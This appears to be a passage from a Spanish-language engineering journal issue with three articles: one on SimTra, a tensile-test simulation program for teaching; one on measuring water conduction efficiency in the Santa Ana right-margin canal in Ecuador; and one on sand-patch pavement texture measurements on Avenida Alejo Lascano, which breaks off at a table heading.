The features of the SimTra software are shown. This is a software to simulate the tensile test of different materials. The simulated tests are those of carbon steel, alloy steel and cast iron. The application of this software allows students to know the experiment before doing it, so that a better understanding of the test is achieved. The simulated test with the SimTra software was compared with one simulated by the finite element method, the one reported in the literature and the one performed in a test machine. Similarities among them were found, which demonstrated the feasibility of using SimTra to teach the tensile test.

KEYWORDS: educational software, tensile test, simulation, Mechanics of Materials

INTRODUCCIÓN

La experimentación es una poderosa herramienta para los profesores y estudiantes en la enseñanza de las ciencias técnicas. En los programas de estudio se exige el uso de la misma en la mayor parte de las asignaturas.

En la labor docente y educativa se produce un proceso de acumulación de conocimientos en los estudiantes, el desenvolvimiento de capacidades asociadas a garantizar un profesional competente en el perfil que se forma con un desempeño de excelencia. Esto justifica la necesidad continua de incorporar nuevos recursos didácticos innovadores en la enseñanza de

las ciencias, con objeto de desarrollar las habilidades de los estudiantes del siglo XXI (Binkley, Erstad, Herman, Raizen, Ripley, y Rumble, M, 2010).

El ingeniero moderno debe de utilizar todo el rigor de los métodos de cálculo científicamente argumentados para crear una estructura segura y tenaz, capaz de funcionar fiablemente y que sea ventajosa desde el punto de vista económico.

Con el empleo de la computación se persigue lograr en los estudiantes habilidades en el análisis y solución de problemas de la vida cotidiana y de las diferentes asignaturas, mediante la aplicación de las mismas; así como familiarizarlos y desarrollar habilidades en el uso de las computadoras.

Esto responde a la preparación para el uso de estas técnicas en la futura vida laboral, así como para el desarrollo especializado que se hace de ellas en la educación superior. Además, impone un reto importante para los profesores que necesitan adecuar su competencia digital y didáctica al desarrollo constante de las tecnologías y las comunicaciones (Wu, Lee, Chang y Liang, 2013; Roblizo, Sánchez-Pérez y Cózar, 2015).

Con el desarrollo acelerado de las técnicas computacionales, aplicadas al proceso docente es posible sustituir determinados aspectos del mismo. Así es como surge la simulación, auxiliándose de las computadoras para sustituir determinados ensayos.

La importancia de vincular la experimentación con la simulación numérica fue tratada por Chagoyen, González y Aragón (2013). El ensayo a tracción y su simulación numérica también ha sido estudiado por diferentes autores. En otra investigación (Loya, Fernández y Navarro, 2001) se realizó la simulación numérica del ensayo a tracción estático y dinámico de probetas con entallas laterales para valorar la velocidad de deformación y los fenómenos de endurecimiento. Se realizaron ensayos a tracción y luego se modelaron con el propósito de evaluar diferentes criterios de fluencia (Saijun, Qinxiang y Ning, 2012).

Cuando un estudiante simula el comportamiento de determinado proceso, está mejor preparado para afrontar este proceso en la realidad, ya sea en un laboratorio o en su desempeño como profesional.

La carrera de Ingeniería Mecánica persigue lograr en los estudiantes los conocimientos, habilidades y valores que necesitarán para su desempeño posterior como profesionales y poner al servicio de la sociedad los avances de la ciencia y la tecnología, con austeridad, funcionalidad, optimización del uso de los recursos materiales, energéticos y humanos. Se realizan varias acciones en el proceso docente con el fin de desarrollar las habilidades necesarias en los estudiantes. Se definen a partir de las exigencias que ha introducido el desarrollo de actuación profesional del ingeniero. Para ello se logra un sistema de trabajo y métodos que sustenten el proceso de enseñanza – aprendizaje, lo que exige un intercambio constante alumno profesor, para que ambos puedan nutrirse del desarrollo del proceso. Esto provoca que la formación y actualización docente es de vital importancia para utilizar metodologías activas que se sustenten con recursos didácticos donde los estudiantes son el centro del proceso formativo (Davis y Krajcik, 2005).

Weitz (2014) presentó un software educativo que le permite al docente de un curso introductorio de teoría de control explicar con relativa facilidad diferentes contenidos. Una gran ventaja de este programa es que facilita responder rápidamente y mediante ejemplos apropiados las dudas habituales de los alumnos en las clases. Un software didáctico orientado al diseño y análisis de sistemas de control lineal fue propuesto por (Gómez Cadavid, 2009).

El estudio de las características mecánicas de los materiales ingenieriles es una tarea que debe afrontar el ingeniero desde su preparación de pregrado. Con ellas pueden los estudiantes y los ingenieros predecir el comportamiento de determinado elemento de máquina o estructura durante su vida útil. De esta manera es posible lograr en los estudiantes, habilidades en el análisis, síntesis y solución de problemas de su desempeño profesional. Uno de los experimentos más utilizados para realizar el estudio de las propiedades antes mencionadas es el ensayo a tracción.

La carencia de máquinas de ensayo y de materiales para realizarlos, provocó la necesidad de crear variantes para efectuar estas prácticas. En este trabajo se exponen las características del software SimTra.exe 1.0. Se comparó la simulación realizada con la reportada en la bibliografía (Stiopin, 1976), el ensayo realizado en una máquina universal de ensayos DNS200 y un ensayo simulado mediante el método de los elementos finitos. Las semejanzas encontradas demostraron que es posible utilizar el software SimTra para enseñarle a los estudiantes de ingeniería el ensayo a tracción.

MATERIALES Y MÉTODOS

Generalidades de la tracción de materiales ingenieriles.

La sollicitación de tracción surge cuando sobre los elementos estructurales las fuerzas exteriores son aplicadas en la dirección del eje longitudinal del elemento (Figura 1). (Stiopin, 1976) Esto provoca la aparición de fuerzas normales a las secciones transversales del elemento, resultantes de las tensiones normales σ .

Figura 1. Fuerzas exteriores, normales y tensiones en la tracción.

Cuando las tensiones son menores que cierto valor que se denomina Límite elástico σ_e el material tiene un comportamiento lineal entre las tensiones σ y las deformaciones ε y se cumple la Ley de Hooke que tiene la forma de la ecuación (1):

$$\sigma = E\varepsilon \dots (1)$$

donde E es el módulo de elasticidad de primer orden. Después de pasar la fluencia del material, este sigue un comportamiento plástico para el que han sido propuestos varios modelos. Uno de

ellos es mediante una ecuación exponencial, denominada ecuación de Hollomon: (Hollomon, 1945)

$$\sigma = K\varepsilon^n \dots(2)$$

K y n son parámetros que caracterizan el comportamiento plástico del material.

Por otro lado, los desplazamientos se determinan mediante la expresión (3), que no es más que una extensión de la Ley de Hooke:

$$\Delta l = \frac{Nl}{EA} \dots(3)$$

Otra característica importante de los materiales es el coeficiente de Poisson μ , que relaciona las deformaciones longitudinales ε con las transversales ε_t y se determina como:

$$\mu = -\frac{\varepsilon_t}{\varepsilon} \dots(4)$$

Características generales del software SimTra.exe.

El software SimTra.exe es un programa diseñado con el objetivo de simular el ensayo a tracción de diferentes materiales. Los ensayos simulados son los de acero al carbono, acero aleado, hierro fundido. En el caso de los aceros se propone además la simulación con un concentrador de tensiones.

Para realizar el diseño del software se empleó el lenguaje de programación Microsoft Visual Basic 6.0, en la Edición Empresarial.

Requisitos mínimos para ejecutar SimTra.exe

El programa presentado no requiere de computadoras con grandes prestaciones.

Los requisitos mínimos para ejecutar el programa son los siguientes:

- Microcomputadora Pentium IV.
- 128 MB memoria RAM 120 MHz.
- 10 MB espacio libre en disco.
- Adaptador de video VGA o superior.

Suministro de SimTra.exe

SimTra.exe se suministra en un disco que contiene los archivos setup.exe, SimTra.cab, setup.lst, el archivo graficos (no se acentúa la a para evitar errores en la programación) y las imágenes arrow.cur, conc.bmp, exis.bmp, help.bmp, new.bmp, Probeta.bmp, ProbetaConc.bmp, save.bmp, spec.bmp, specimen.bmp y web.bmp. Ejecutando el primero de ellos se muestra el programa de instalación, el cuál le dará las instrucciones necesarias para instalar el programa.

¿Cómo trabajar con SimTra.exe?

Para ejecutar el programa debe hacerse un doble clic sobre el icono del mismo en la carpeta

donde este copiado el programa; o desde el acceso directo que se crea en el menú Inicio de Windows después de instalado el programa. Entonces se ejecuta una ventana inicial que se muestra en la Figura 2:

Figura 2. Ventana inicial de SimTra.exe.

Figura 3. Ventana principal del programa.

Después se ejecuta la ventana principal del programa (Figura 3). En esta ventana existe una barra de menús que permiten acceder a las diferentes operaciones que es posible realizar con el programa, así como una barra de herramientas con una serie de botones calientes que permiten las mismas funciones. Al escoger el menú Nuevo, el programa permite seleccionar las características de la probeta a ensayar. En el ejemplo se ha seleccionado una probeta l_5 de diámetro 5 mm, material acero aleado y sin concentrador.

En la Figura 4 se muestra la simulación de la rotura de la probeta y el gráfico tensión - deformación obtenido. El panel izquierdo muestra la forma del gráfico, mientras que en la derecha se observa la probeta. Ambos se van actualizando a medida que se desarrolla la simulación. El cuadro de texto situado debajo de la probeta describe a cada instante los aspectos fundamentales del momento en que se encuentra el experimento.

Figura 4. Simulación de la rotura de una probeta de acero aleado.

RESULTADOS Y DISCUSIÓN

La figura 5 a y b muestra la rotura de una probeta real de acero aleado efectuada en una máquina DNS 200 de fabricación china. En esta figura se observa la formación del cuello en el momento de la rotura. es posible observar similitud entre la forma de la probeta rota y la que se muestra en la figura 4 realizada con el software, por lo tanto, es posible el uso del programa para que los estudiantes estudien el ensayo a tracción antes de ir al laboratorio, con lo que se logra una mejor comprensión del experimento.

Figura 5 a y b: Probetas ensayadas con la máquina DNS 200.

En la figura 6 se muestra una comparación entre los gráficos tensión – deformación obtenidos mediante diferentes vías.

Figura 6. Comparación entre diferentes gráficos tensión – deformación. a) Reportado en la bibliografía (Stiopin, 1976). b) Con el software SimTra. c) Ensayo realizado en la máquina DNS-200.

Como se observó en la figura 6 existen similitudes entre los diferentes gráficos. En el caso de la probeta simulada (al centro) no ocurren los fenómenos de plasticidad reales y por lo tanto tenemos una diferencia apreciable en la pendiente del último tramo respecto a la curva teórica (Primera figura a la izquierda) y a la obtenida mediante la máquina de ensayos universal DNS 200.

En la figura 7 están las secciones donde ocurrió el fallo en las probetas mediante la simulación y en un ensayo real realizado en la máquina DNS-200.

Figura 7. Rotura de probetas. a) Simulada con SimTra. b) Rotura real. c) Simulada con el método de los elementos finitos.

En el caso de las secciones encerradas en los círculos rojos (que en las tres probetas se corresponden con la zona de fractura de la probeta ensayada) existen semejanzas, lo que demuestra la factibilidad de simular el ensayo a tracción mediante este software.

Con la aplicación de este programa los estudiantes de las carreras de ingeniería conocerán el ensayo a tracción antes de ir al laboratorio a realizar el experimento. Constituye una importante herramienta en la enseñanza de la Resistencia de Materiales porque permite a los estudiantes una mejor comprensión de la práctica de laboratorio.

Aunque no se pretende sustituir el ensayo real mediante la simulación, con la segunda se logra un ahorro de recursos como:

- Materiales.
- Energía eléctrica.
- Salario de los operarios que fabrican las probetas.
- Tiempo.

Además de que con el ahorro de los recursos mencionados en las viñetas primera y segunda se contribuye con el respeto al medio ambiente, debido a que se gasta menos metal. Aunque la computadora donde se realiza la simulación utiliza energía eléctrica, esta es menor que la que se emplea en una máquina herramienta para fabricar las probetas.

Este trabajo se ha aplicado en la carrera de Ingeniería Mecánica en la Universidad de Holguín. Los estudiantes primero ven el ensayo simulado y después van al laboratorio a realizar el experimento real en la máquina de ensayo DNS 200. También se aplicó en el curso de Posgrado “Ensayos a materiales con las máquinas NWS500 y DNS 200” impartido por los autores del trabajo.

CONCLUSIONES

Se confeccionó el software SimTra.exe en la versión 1.0. Se continúa el trabajo con el fin de perfeccionar y aumentar la base de datos del programa, para diversificar las simulaciones.

Con la simulación del ensayo a tracción los estudiantes estarán mejor preparados para realizar esta práctica en un laboratorio, lo que permite la mejor comprensión de los procesos desarrollados. La simulación presentó similitud con probetas ensayadas lo que demuestra la factibilidad de su empleo en el proceso de enseñanza aprendizaje.

Además, es posible el ahorro de recursos al ser menor la cantidad de probetas necesarias para realizar los experimentos.

REFERENCIAS BIBLIOGRÁFICAS

- Binkley, M., Erstad, O., Herman, J., Raizen, S., Ripley, M., & Rumble, M. (2010). Defining 21st century skills. Disponible en: https://doi.org/10.1007/978-94-007-2324-5_2
- Chagoyén-Méndez, C. A., González-Martínez, D. Aragón-López, G. B., et al. (2013.) Linking numerical simulations with test experiences and its application to a railroad bridge. *Rev. Téc. Ing. Univ. Zulia*, 36(2), 132 – 142.

- Davis, E.A. & Krajcik, J.S. (2005). "Designing educative curriculum materials to promote teacher learning". *Educational Researcher*, 34(3), 3-14.
- Gómez Cadavid, J. C. (2009). Toolbox didáctico para el diseño y análisis de sistemas de control lineal, *Revista Educación en Ingeniería*, 8, pp. 155 -169.
- Hibbeler, R. "Mechanics of Materials," 9th Edition, Pearson Education (Prentice Hall), Boston, USA. 2014.
- Hollomon, J. (1945). Tensile deformation. *T Metall. Soc. Aime*. Vol. 162, 268–290.
- Kutz, M. "Mechanical Engineers' Handbook," 4th Edition, Vol. 1: Materials and Engineering Mechanics, John Wiley & Sons Inc., New Jersey, USA. 2015.
- Loya, J. A., Fernández-Sáez, J., Navarro, C. (2001). Análisis numérico de ensayos de tracción dinámica sobre materiales dúctiles. *Anales de mecánica de la fractura*, 18, 446-451.
- Roblizo, M., Sánchez-Pérez, M., & Cózar, R. (2015). El reto de la competencia digital en los futuros docentes de Infantil, Primaria y Secundaria: los estudiantes de grado y máster de Educación ante las TIC. *Prisma Social*, 15, 254-295.
- Saijun, Zh., Qinxiang, X. Ning, Y. (2012). Mechanical characterization of flat specimens in tensile test and numerical simulation. *Journal of Mechanical Science and Technology*, 26(2), 401 – 409.
- Stiopin P. A. (1976). Resistencia de Materiales. Moscú, Editorial Mir.
- Weitz, D. (2014). Software educativo para la enseñanza de métodos que determinan la estabilidad de los sistemas de control. *Educación en Ingeniería*. 9(18) 53-65.
- Wu, H. K., Lee, S. W. Y., Chang, H. Y., & Liang, J. C. (2013). Current Status, Opportunities and Challenges of Augmented Reality in Education. *Computers and Education*, 62, 41-49. DOI: doi.org/10.1016/j.compedu.2012.10.024

BIOGRAFÍAS DE AUTORES

Julio César Pino Tarragó, Ingeniero Mecánico. Doctor en Ciencias Técnicas por la Universidad Politécnica de Madrid. Profesor de la Carrera de Ingeniería Civil, Facultad de Ciencias Técnicas en la Universidad Estatal del Sur de Manabí, Ecuador. Email: jpinoecuador@gmail.com.

Pavel Michel Almaguer Zaldivar, Ingeniero Mecánico. Máster en Diseño y Fabricación Asistido por Computadora. Profesor e investigador en el Centro de Estudios CAD/CAM de la Facultad de Ingeniería en la Universidad de Holguín. Presidente de la Asociación de Ingenieros Mecánicos de Holguín (ASIMEC). Email: pavel@uho.edu.cu, pavelmichel@gmail.com

Dunia Lisbet Domínguez Gálvez, Ingeniera en Procesos Agroindustriales. Profesora en nivelación de la Universidad Estatal del Sur de Manabí.

EFICIENCIA DE CONDUCCIÓN DEL CANAL MARGEN DERECHO-SANTA ANA, ECUADOR

Horacio Cedeño Muñoz,

Ramón Pérez Leira,

Jordan Briones Bastidas.

UNIVERSIDAD LAICA ELOY ALFARO

horacioantonio_3@hotmail.com

RESUMEN

El presente trabajo se realizó en el Canal de Margen Derecho, el cual nace desde la Presa Santa Ana y llega a la planta de tratamiento Cuatro Esquinas en la ciudad de Portoviejo, en el cual se evaluó y diagnosticó la eficiencia de conducción, además se propuso las recomendaciones adecuadas para mejorar el uso eficiente del agua. La metodología utilizada para el cálculo de la eficiencia de conducción se basó en trabajos de medición mediante aforos por el método del molinete durante el mes de mayo de 2018, realizando tres mediciones entre cada semana en 7 puntos a lo largo del canal para obtener un resultado promedio con mayor precisión. El canal tiene un recorrido desde la Presa Santa Ana a la planta de tratamiento Cuatro Esquinas de 20.90 km, el cual se encuentra revestido de hormigón habiéndose diseñado para conducir un caudal máximo de 12 m³/seg, cuya principal característica es la baja eficiencia de conducción, ocasionando grandes pérdidas de agua a causa del mal estado físico que presenta el canal y las extracciones de agua sin ningún control de los pobladores del sector donde pasa el canal. Se concluyó que la eficiencia de conducción del canal es de 64 %, según la evaluación del canal las pérdidas resultan por las condiciones de mal estado del canal principalmente lo que favorece las pérdidas operativas de dicho canal.

Palabras clave: canal, conducción, eficiencia, pérdidas, infiltración.

Abstract

The present work was carried out in the Right Margin Canal, which is born from the Santa Ana Dam and arrives at the Cuatro Esquinas treatment plant in the city of Portoviejo with the purpose of evaluating and diagnosing driving efficiency and proposing the appropriate recommendations to improve the efficient use of water. The methodology used for the calculation of driving efficiency was based on measurement by gauging by the windmill

method during the month of May 2018, making three measurements between each week in 7 points along the canal to obey an average result more accurately. The canal has a route from the Santa Ana Dam to the Cuatro Esquinas treatment plant of 20.90 km, which is covered with concrete, having been designed to drive a maximum flow of 12 m³/sec, whose main characteristic is the low efficiency of driving, causing large water losses due to the poor physical condition of the canal and the water extractions without any control of the inhabitants of the sector where the canal passes. It was concluded that the canal conduction efficiency is 64%, according to the evaluation of the channel, the losses are due to poor channel conditions, mainly favoring the operational losses of said channel.

KEYWORDS: canal, driving, efficiency, losses, infiltration.

1. INTRODUCCIÓN

En el Ecuador, la gestión del recurso hídrico es una tarea prioritaria y permanente que debe realizarse en todo el territorio con miras a racionalizar su conservación y el mejor aprovechamiento. La Secretaría Nacional del Agua (SENAGUA), dentro de la actual estructura organizativa del Estado, es el organismo encargado de la administración del recurso agua (CEPAL, 2012).

El manejo de la estadística hídrica se estima debe considerar aspectos tales como: el incremento de la población; el crecimiento de las ciudades; la ampliación de la actividad económica; los cambios en el consumo y la situación de los recursos hídricos del país; la frecuencia e incidencia de los fenómenos extremos (sequías e inundaciones). En el territorio nacional el uso principal del agua es en sector agrícola siendo una de las fuentes de desarrollo económicamente del país, a continuación, se desglosa el consumo de agua en el Ecuador en las actividades: uso agrícola 80%, uso doméstico 13%, uso industrial 7%. (CEPAL, 2012). La carencia de información confiable sobre el nivel de eficiencia de conducción en canales trae consigo que el agua que se encauza no sea aprovechada a máximo generando pérdidas.

El objetivo planteado en esta investigación es determinar la eficiencia de conducción del canal que conecta la presa Santa Ana con la planta de tratamiento Cuatro Esquinas, por medio de la evaluación del canal y la recolección de información de caudales mediante el método del molinete se permite poder diagnosticar y especificar las diferentes pérdidas que ocurren en el sistema, lo que es fundamental para dar pauta a estudios con el fin de plantear recomendaciones y dar soluciones para mejorar el uso del recurso hídrico.

2. MATERIALES Y MÉTODOS.

El canal del margen derecho se divide en tres zonas, nace directamente en la Presa Santa Ana donde capta el agua del Río Portoviejo, y se conduce hacia la Planta de Tratamiento Cuatro Esquinas en el barrio Fátima de la ciudad de Portoviejo siendo esta la zona 1, donde se desarrolló la investigación como se muestra en la figura 1.

Figura 1- Esquema del recorrido del canal margen derecho
(Fuente: SENAGUA).

Se efectuó un recorrido con el grupo investigativo, empezando del canal desde la presa Santa Ana hasta la planta de tratamiento Cuatro Esquinas en Portoviejo, se indicaron los puntos específicos para tomar los datos, obteniendo la ubicación con las coordenadas correspondientes para la realización de los aforos mediante un GPS, figura 2.

Figura 2- Puntos de aforo a lo largo del canal
(Fuente: Elaboración de los Autores).

La forma de medición de caudales será obteniendo las velocidades y midiendo el área de la sección transversal mojada donde se establecieron los puntos de aforo. Para obtener la velocidad del punto se lo realiza con la ayuda del molinete este instrumento realiza las tomas de velocidades del flujo en los aforos; mediante las vueltas generadas por la hélice sumergida en el agua del canal. El molinete empleado en la investigación es de la marca SIAP de Argentina con el número de serie 15502, propiedad de la SENAGUA.

Obteniendo los caudales en cada tramo se podrá tener una relación de la eficiencia de conducción en todo el canal. Se estableció realizar tres tomas de datos en los siete aforos para sacar un promedio y tener resultados más precisos.

3. RESULTADOS Y DISCUSIÓN

Después de haber realizado los respectivos aforos en cada uno de los puntos seleccionados con la frecuencia estipulada, se obtuvieron los resultados que se muestran en la figura 3.

Figura 3- Eficiencia de conducción entre cada tramo del canal.

(Fuente: Elaboración de los Autores).

El primer tramo entre la presa Santa Ana y el Níspero cuenta con el menor porcentaje de eficiencia de conducción, teniendo un promedio entre los tres días de la toma de datos del 59 %, quiere decir que en ese tramo existe una pérdida de agua del 41 %.

El agua que se pierde a lo largo del recorrido del canal es debido a los tramos de hormigón en deterioro y desprendidos en su totalidad en ciertos sectores generando pérdidas por infiltración, sumándole la extracción de agua de manera informal que se produce en el canal con bombas instaladas por parte de los pobladores.

En la siguiente tabla se muestra la eficiencia total en los tres días de medición de los aforos:

Tabla 1. Eficiencia de conducción del canal en los tres días de medición

EFICIENCIA DE CONDUCCIÓN		
DÍA 1	DÍA 2	DÍA 3
79%	55%	58%
PROMEDIO DE LA EFICIENCIA		
64%		

Fuente: Elaboración de los Autores

Se obtuvo un porcentaje de eficiencia de conducción con alta diferencia de variación entre el primer día con respecto a los otros, teniendo una eficiencia de conducción total del canal de un 64 %. El canal cuenta con una deficiencia de pérdida del agua de un 36 % que equivale a aproximadamente a 1.1 m³/seg de pérdida de agua manera diaria. En la actualidad la Presa Santa Ana está derivando un caudal total aproximadamente de 3.07 m³/seg, llegando hasta la planta de Tratamiento Cuatro Esquinas 1.95 m³/seg. La planta de tratamiento cuenta con un permiso de extracción del agua de 1 m³, variando por lo tanto el rango del caudal tomado entre 0.40 m³/seg a 0.80 m³/seg.

4. CONCLUSIONES

- El canal del margen derecho tiene un diseño simétrico según las especificaciones técnicas, pero en el sitio muchos tramos han sido reparados en diferentes periodos de tiempo teniendo en la actualidad una sección más irregular tomando en cuenta las afectaciones que ha mantenido a lo largo de los años.
- Se realizaron aforos en tres días en puntos estratégicos a lo largo del recorrido del canal obteniendo los caudales reales con el que el agua es transportada desde la presa hasta la planta, teniendo las principales variaciones de caudales en el tramo 1 desde la presa Santa Ana hasta el Níspero con una disminución del caudal de 3.07 m³/seg a 2.57 m³/seg equivaliendo una pérdida del 17 % con respecto al caudal de salida.

- El canal tiene una eficiencia de conducción del 64 %, teniendo una disminución del caudal desde la presa Santa Ana hasta la planta de tratamiento Cuatro Esquinas del 36 % que equivale a 1.1 m³/seg.
- Las pérdidas que se originan en el recorrido del canal son principalmente por las infiltraciones del agua en los tramos dañados del canal, en ciertos tramos el canal queda completamente sin revestimiento, además sufre pérdidas de la misma forma por extracción del agua de los agricultores que viven cerca del canal sin ningún control

5. RECOMENDACIONES

- Reparar los tramos en deterioro y sin revestimiento del canal para evitar infiltraciones del agua.
- Establecer normativas legales para la extracción del agua para optimizar el aprovechamiento de este
Recurso.

REFERENCIAS BIBLIOGRÁFICAS

- CEPAL. (Septiembre de 2012). Diagnóstico de las estadísticas del agua en el Ecuador. Recuperado el 11 de 04 de 2018, de <http://aplicaciones.senagua.gob.ec/servicios/descargas/archivos/download/Diagnostico%20de%20las%20Estadisticas%20del%20Agua%20Producto%20IIIC%202012-2.pdf>.
- EPMAPAP. (2012). EPMAPAP. Obtenido de https://www.epmapap.gob.ec/epmapap/index.php?option=com_content&view=article&id=119&Itemid=251
- Guadalupe de la Lanza, C. C. (1999). Diccionario de Hidrología y Ciencias Afines. Ciudad de México, México: Plaza y Valdez. Recuperado el 15 de Febrero de 2018
- Herrera, & Peña. (1997). Instructivo de aforo con molinete. México D.F: Instituto Mexicano de Tecnología de Agua.
- IICA. (1990). Compendio de Agronomía Tropical (Vol. I). San José, Costa Rica: IICA. Recuperado el 23 de Febrero de 2018
- INEC. (2015). Recuperado el 2018, de <http://www.ecuadorencifras.gob.ec/documentos/web->

inec/Encuestas_Ambientales/Municipios_2015/Presentacion_GAD_Municipal es_Gestion_Agua_Alcantarillado_2015.pdf

- MacPhee, J. (2013). FCFM. Recuperado el 01 de Marzo de 2018, de file:///C:/Users/Usuario/Downloads/CI5101_Gu_a_Terreno.pdf
- MINAGRI. (2015). Recuperado el 10 de FEBRERO de 2018, de http://minagri.gob.pe/portal/download/pdf/manualriego/manual_determinacion_eficiencia_riego.pdf
- OMICS. (2017). Obtenido de <https://www.omicsonline.org/irrigation-management-articles.php>
- Palacios. (2004). La eficiencia en el uso del agua en los distritos de riego. México.
- Pizarro, H. (1994). II Etapa del Proyecto de Riego Arenal-Tempisque. Introducción al Diseño Hidráulico de Canales y Medición de Caudales. Costa Rica: IICA. Recuperado el 01 de Marzo de 2018
- SENAGUA. (2014). Ley Orgánica de Recursos Hídricos, Usos y Aprovechamiento del Agua y Su Reglamento. En SENAGUA, Disposiciones Preliminares (pág. 12). Recuperado el 24 de Febrero de 2018
- Svendsen, M., & Vermillion, D. (1994). La Transferencia del Manejo de Riego En la Cuenca del río Columbia. Columbia, Estados Unidos: Internacional Irrigation Management Institute. Recuperado el 13 de Abril de 2018
- TOBÓN, J. C. (2002). LAS OBRAS DE CONDUCCIÓN Y DISTRIBUCIÓN EN UN DISTRITO DE ADECUACION DE TIERRAS. Recuperado el 18 de abril de 2018, de Universidad Nacional de Colombia: www.bdigital.unal.edu.co/4784/1/70064307._2002_1.pdf.
- Unesco. (2008). Obtenido de <http://unesdoc.unesco.org/images/0012/001295/129556s.pdf>
- Valverde, J. C. (1998). Riego y Drenaje. San José , Costa Rica: Universidad Estatal a Distancia. Recuperado el 10 de FEBRERO de 2018
- VILLON, M. (2008). HIDRAULICA DE CANALES. LIMA, PERÚ: EDITORIAL VILLON. Recuperado el 12 de ABRI de 2008water.org. (2013). water.org. Obtenido de <https://water.org/>

BIOGRAFÍA DE AUTORES

- **Horacio Cedeño Muñoz**, Profesor Titular Auxiliar. Universidad Laica Eloy Alfaro de Manabí (ULEAM). Facultad de Ingeniería. E-mail: horacioantonio_3@hotmail.com
[Teléfono: 0958829218](tel:0958829218).
- **Ramón Pérez Leira**, Profesor Titular Principal. Universidad Laica Eloy Alfaro de Manabí (ULEAM). Facultad de Ingeniería. E-mail: rperezleira@gmail.com [Teléfono: 0981895673](tel:0981895673).
- **Jordan Briones Bastidas**, Ingeniero Civil. Egresado de la Facultad de Ingeniería. (ULEAM).

MEDICIÓN DE LA TEXTURA SUPERFICIAL DEL PAVIMENTO EN LA AVENIDA ALEJO LASCANO, CANTON JIPIJAPA

Oscar Eduardo Minta Tenelema,

Eduardo Eutiquio Diaz García, PhD.

Adrián Oscar Macías Loor, Mgs.

Glider Nunilo Parrales Cantos, Mgs.

Universidad Estatal del Sur de Manabí

oscar.minta.t@gmail.com, eediazgar@hotmail.com

adrianmacias@thasesoria.com, glipaca@hotmail.com

RESUMEN

El objetivo de este trabajo es clasificar la textura superficial del pavimento en la Avenida Alejo Lascano, a través del ensayo de la mancha de arena mediante el uso de un marco portátil de textura, determinará la influencia de la seguridad vial, para lo cual este ensayo usa técnicas volumétricas, utiliza un volumen conocido de arena de grano redondo, que se deposita dentro del marco portátil de textura, que luego se enraza desde de la base hacia adelante formando un rectángulo, de manera de cubrir la mayor área posible al enrazar. La medida del rectángulo permite determinar su área y en función del volumen inicial se calcula la profundidad de la textura superficial del pavimento HA (mm). El resultado de este ensayo permite clasificar la textura superficial del pavimento.

PALABRAS CLAVE: textura superficial, mancha de arena, marco portátil textura.

ABSTRACT

The objective of this work is to classify the surface texture of the pavement in the Avenida Alejo Lascano, through the testing of sand stain by using a portable texture frame, the influence of road safety will be determined, for which this test uses volumetric techniques, uses a known volume of round grain sand, which is deposited within the portable frame of texture, which is then enrazaed from the base forward forming a rectangle, so as to cover the largest possible area when embedding. The measure of the rectangle allows to determine its area and, depending on the initial volume, the depth of the surface texture of the pavement HA (mm) is calculated. The result of this test allows to classify the surface texture of the pavement.

KEYWORDS: surface texture, sand stain, portable frame texture.

1. INTRODUCCIÓN

El ensayo de mancha de arena describe el procedimiento para determinar la profundidad promedio de la macro textura de la superficie del pavimento de manera que se aplica un volumen conocido de arena fina y posteriormente se mide el área cubierta. La técnica es diseñada para mediciones de macro textura y no es sensible para determinar la micro textura. Norma de Referencia: ASTM E965 / NLT-335. La macro textura se genera por los defectos de la irregularidad superficial del pavimento producto de la puesta en obra en la extensión y compactación, deformaciones de la estructura del pavimento por el tráfico o por deformaciones de la capa de rodadura. La influencia de estos fenómenos es diferente en la interacción que existe entre el neumático y el pavimento; las texturas se asocian a la resistencia al deslizamiento mientras que la rugosidad se asocia a la calidad y comodidad de la rodadura de los vehículos. (KRAEMER, 2004)

La textura superficial del pavimento debe ser tal que los vehículos puedan frenar con seguridad, cuando lo requieran, es decir, debe existir un buen coeficiente de fricción entre el neumático del vehículo y la superficie de rodadura cuando está húmeda. (HA, 2012)

TECNICA DE ENSAYO:

Se realizó el ensayo de la mancha de arena en el acceso 1 y 3 de la intersección Avenida Alejo Lascano y Calle Víctor Manuel Rendon en el Cantón Jipijapa, se realizó la medición desde PII marcando en la calzada. Se realizarán 7 determinaciones, alineadas en dirección del eje de la vía y separadas a 7 metros entre sí. El volumen de la arena utilizado en cada ensayo fue de 25cm^3 .

Utilizando el marco portátil de textura se midió el tipo de textura superficial (Díaz García, 2008). En el momento del ensayo la superficie del pavimento debe estar seca, se limpió con el cepillo un área de 1200 cm^2 aproximadamente, se colocó el marco de textura en el área limpia, se vació la arena y se enrasó con la espátula extendiendo la arena dentro del marco portátil de textura, se anota la medida en cm, hasta donde llegó la arena extendida.

Con los resultados obtenidos se calcula la profundidad media de penetración de arena, utilizada dentro de las asperezas superficiales del pavimento o “profundidad de textura”, HA con la siguiente expresión:

$$HA = \frac{v}{A}$$

donde:

HA = Profundidad de textura en una medición, HA mm.

v = Volumen de la arena utilizada en cada medición 25 cm³.

A = Área de la mancha de arena cm².

2. RESULTADOS Y DISCUSIÓN

En la figura 1 se muestra la ubicación del sitio donde se realizó la medición de textura superficial. La distancia de cada ensayo es de 7 metros a partir del PI1 y PI 3.

Figura 1. Ubicación de la intersección donde se realizó el ensayo de textura superficial

2.1 TEXTURA SUPERFICIAL

RESULTADOS POR CADA ACCESO

En la Tabla 1 y 2, se observan cálculos que fueron realizados para el ensayo de la mancha de arena en los accesos 1 y 3 respectivamente, la profundidad de textura promedio de cada acceso es la suma de los 7 ensayos realizados en el acceso y divididos entre 7.

TABLA 1

Valores medidos y calculados, acceso 1.

ACCESO 1							
	Mediciones						
	1	2	3	4	5	6	7
Volumen (cm ³)	25	25	25	25	25	25	25
Área (cm ²)	344	382	400	400	360	395	480
HA (mm)	0,73	0,65	0,63	0,63	0,69	0,63	0,52
Promedio HA (mm)	0,64						

Tabla 2

Valores medidos y calculados, acceso 3.

ACCESO 3							
	Mediciones						
	1	2	3	4	5	6	7
Volumen (cm ³)	25	25	25	25	25	25	25
Área (cm ²)	430	460	390	370	424	298	322
HA (mm)	0,58	0,54	0,64	0,68	0,59	0,84	0,78
Promedio HA (mm)	0,66						

Tabla 3

Diferencia de HA en los accesos 1 y 3.

	Acceso 1	Acceso 3	Diferencia
HA (mm)	0,64	0,66	0,02

En la Tabla 4 se puede observar el tipo de textura superficial según la Asociación Mundial de Carretera, PIARC, AIPCR. El tipo de textura superficial que corresponde a la intersección Avenida Alejo Lascano y Calle Víctor Manuel Rendon. En ambos accesos la textura superficial califica de media, pues los valores calculados, HA muestran resultados que oscilan entre 0,64 y 0,66 mm respectivamente.

Tabla 4

